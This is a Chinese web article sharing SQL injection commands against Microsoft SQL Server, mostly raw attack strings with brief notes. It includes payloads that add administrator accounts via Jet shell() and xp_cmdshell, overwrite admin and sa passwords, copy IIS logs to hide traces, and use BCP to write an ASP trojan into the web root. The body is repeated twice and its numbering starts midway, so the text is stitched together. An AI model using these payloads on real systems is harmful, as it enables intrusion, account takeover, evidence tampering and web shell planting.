比較全的SQL注入相關(guān)的命令分享
作者: 來源: 發(fā)布時間:2011-6-15 15:18:23 點擊:
出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測試:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
如何使用鏈接數(shù)據(jù)庫:
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學(xué)習總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
新建鏈接服務(wù)器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','false';--
exec sp_dropserver 'L0op8ack';--
再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用UPDATE來更新表中的數(shù)據(jù):
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為
10、 利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.asp的木馬)。
11、創(chuàng)建表、播入數(shù)據(jù)和讀取數(shù)據(jù)的方法
創(chuàng)建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
往表里播入數(shù)據(jù):
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
從表里讀取數(shù)據(jù):
' and 1=(select count(*) from cyfd where gyfd >1)--
刪除臨時表:
';drop table cyfd;--
12、通過SQL語句直接更改sa的密碼:
update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
如何使用鏈接數(shù)據(jù)庫:
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學(xué)習總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
新建鏈接服務(wù)器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','false';--
exec sp_dropserver 'L0op8ack';--
再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用UPDATE來更新表中的數(shù)據(jù):
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為
10、 利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.asp的木馬)。
11、創(chuàng)建表、播入數(shù)據(jù)和讀取數(shù)據(jù)的方法
創(chuàng)建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
往表里播入數(shù)據(jù):
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
從表里讀取數(shù)據(jù):
' and 1=(select count(*) from cyfd where gyfd >1)--
刪除臨時表:
';drop table cyfd;--
12、通過SQL語句直接更改sa的密碼:
update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。
Tags:
比較全的SQL注入相關(guān)的命令分享[收藏此文章]